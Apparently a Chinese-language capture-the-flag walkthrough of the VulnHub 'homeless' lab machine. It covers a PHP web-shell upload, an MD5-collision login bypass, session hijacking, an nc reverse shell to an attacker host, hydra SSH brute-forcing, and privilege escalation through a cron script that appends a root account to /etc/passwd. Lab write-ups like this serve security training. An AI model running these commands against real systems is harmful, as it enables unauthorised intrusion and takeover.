homeless靶机

仅供个人娱乐

靶机信息

下载地址：https://www.vulnhub.com/entry/homeless-1,215/

一、主机扫描

二、信息收集

在网页源码和页面上，我们发现User-Agent

三、漏洞利用

在agaent字段填上这个图片的字段 “Cyber​​dog Sledding Portal”

或使用字典：rockyou，来爆这个UA

打开该网页

上传小马

上传命令

<?=`ls`;                   #这句代码在php里等同于<?php echo `ls`;?>，是这段代码的缩写

注意这里一定是反引号，否则无法解析 

访问相关文件

访问相关txt文件ip

信息收集

逻辑就是username、password、code两两不相等，但是三者的md5相等，要求post提交的3个参数不能两两相同，但是要求md5的值相同

百度信息收集

https://github.com/thereal1024/python-md5-collision

$ sudo apt-get install libboost-all-dev

cd python-md5-collision-master

python3 gen_coll_test.py

curl命令传输文件

选三个文件，直接用curl命令传输过去

curl传输的用法 https://ec.haxx.se/http/http-post

使用的参数：--data-urlencodeHTTP POST data url encoded

curl --data-urlencode username@out_test_000.txt --data-urlencode password@out_test_001.txt --data-urlencode code@out_test_002.txt http://192.168.56.128/d5fa314e8577e3a7b8534a014b4dcb221de823ad/ -i

获取到了一个SESSION      eec1n77li90bsc5av8sp5k5q10

在浏览器中，F12，修改该Cookie值

访问

http://192.168.56.128/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php就进后台了

反弹
nc -e /bin/bash 192.168.56.129 4444

输入

python -c 'import pty; pty.spawn("/bin/bash")'

进行信息收集

从python文件入手

find / -type f -user downfall 2>/dev/null  #除了用户目录多了个邮件但是没权限

find / -type f -group downfall 2>/dev/null  #查找属于downfall组的文件

find / -type f -perm -u=s 2>dev/null  查看sudo文件

爆破ssh

hydra -l downfall -P /usr/share/wordlists/rockyou.txt -t 5 ssh://192.168.56.128

 

ssh downfall@192.168.56.128

secretlyinlove

进行信息收集

 

计划任务每分钟执行一次homeless.py脚本，及报错信息

第一种方式提权

vim /lib/logs/homeless.py

修改脚本

获取权限成功

第二种方式提权

直接用homeless写/etc/passwd文件

生成密码

perl -e 'print crypt("HUA123",q($6$hoiLHdTI)) ." "'

得到信息

$6$hoiLHdTI$1.6GQT97DN3dCD13qY1cEsHCTi6TywYNbLYYmu/DTHe2h6QLxdTXRnZ9lwqDwixsRSHZ685PoJq0/jrHG.XHx/

更改python文件内容为

vim /lib/logs/homeless.py

#! /usr/bin/python

f = open("/etc/passwd",'a')

f.write('xiao:$6$hoiLHdTI$1.6GQT97DN3dCD13qY1cEsHCTi6TywYNbLYYmu/DTHe2h6QLxdTXRnZ9lwqDwixsRSHZ685PoJq0/jrHG.XHx/:0:0::/root:/bin/bash')

f.close()

print "hello"

 

 

成功创建root权限账户

参考文章https://www.cnblogs.com/A1oe/p/12694954.html